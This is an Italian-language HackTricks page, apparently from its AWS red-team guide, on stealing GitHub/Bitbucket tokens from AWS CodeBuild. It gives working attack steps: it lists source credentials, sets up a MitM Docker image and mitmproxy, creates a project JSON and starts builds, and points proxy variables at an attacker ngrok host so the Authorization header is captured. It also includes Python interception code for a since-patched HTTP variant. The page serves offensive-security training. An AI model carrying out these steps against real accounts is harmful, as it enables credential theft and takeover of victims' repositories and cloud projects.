AWS Codebuild - Token Leakage

Impara l'hacking AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Recupera i Token Configurati per Github/Bitbucket

Prima di tutto, controlla se ci sono credenziali di origine configurate che potresti perdere:

aws codebuild list-source-credentials

Attraverso l'immagine Docker

Se scopri che l'autenticazione, ad esempio su Github, è impostata nell'account, puoi esfiltrare quell'accesso (token GH o token OAuth) facendo in modo che Codebuild utilizzi un'immagine Docker specifica per eseguire la build del progetto.

A questo scopo potresti creare un nuovo progetto Codebuild o modificare l'ambiente di uno già esistente per impostare l'immagine Docker.

L'immagine Docker che potresti utilizzare è https://github.com/carlospolop/docker-mitm. Si tratta di un'immagine Docker molto basilare che imposterà le variabili d'ambiente https_proxy, http_proxy e SSL_CERT_FILE. Questo ti permetterà di intercettare la maggior parte del traffico dell'host indicato in https_proxy e http_proxy e di fidarti del CERT SSL indicato in SSL_CERT_FILE.

  1. Crea e Carica la tua immagine Docker MitM

  • Segui le istruzioni del repository per impostare il tuo indirizzo IP proxy e impostare il tuo certificato SSL e crea l'immagine Docker.

  • NON IMPOSTARE http_proxy per non intercettare le richieste all'endpoint dei metadati.

  • Potresti utilizzare ngrok come ngrok tcp 4444 per impostare il proxy sul tuo host.

  • Una volta che hai creato l'immagine Docker, caricala in un repository pubblico (Dockerhub, ECR...)

  1. Imposta l'ambiente

  • Crea un nuovo progetto Codebuild o modifica l'ambiente di uno già esistente.

  • Imposta il progetto per utilizzare l'immagine Docker generata in precedenza

  1. Imposta il proxy MitM sul tuo host

  • Come indicato nel repository di Github, potresti utilizzare qualcosa del genere:

mitmproxy --listen-port 4444  --allow-hosts "github.com"

La versione di mitmproxy utilizzata era la 9.0.1, è stato segnalato che con la versione 10 potrebbe non funzionare.

  1. Esegui la build e cattura le credenziali

  • Puoi vedere il token nell'intestazione Authorization:

Questo potrebbe essere fatto anche da aws cli con qualcosa del genere

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Attraverso il protocollo HTTP

Questa vulnerabilità è stata corretta da AWS in qualche momento della settimana del 20 febbraio 2023 (credo il venerdì). Quindi un attaccante non può più abusarne :)

Un attaccante con permessi elevati su un CodeBuild potrebbe rivelare il token Github/Bitbucket configurato o se i permessi fossero configurati tramite OAuth, il token OAuth temporaneo utilizzato per accedere al codice.

  • Un attaccante potrebbe aggiungere le variabili d'ambiente http_proxy e https_proxy al progetto CodeBuild puntando alla sua macchina (ad esempio http://5.tcp.eu.ngrok.io:14972).

  • Successivamente, modificare l'URL del repository github per utilizzare HTTP invece di HTTPS, ad esempio: **http://**github.com/carlospolop-forks/TestActions

  • Infine, eseguire l'esempio di base da https://github.com/synchronizing/mitm sulla porta indicata dalle variabili di proxy (http_proxy e https_proxy)

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Infine, fai clic su Build the project, le credenziali saranno inviate in testo normale (base64) alla porta mitm:

Ora un attaccante sarà in grado di utilizzare il token dal suo computer, elencare tutti i privilegi che ha e (ab)usare più facilmente rispetto all'utilizzo diretto del servizio CodeBuild.

Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated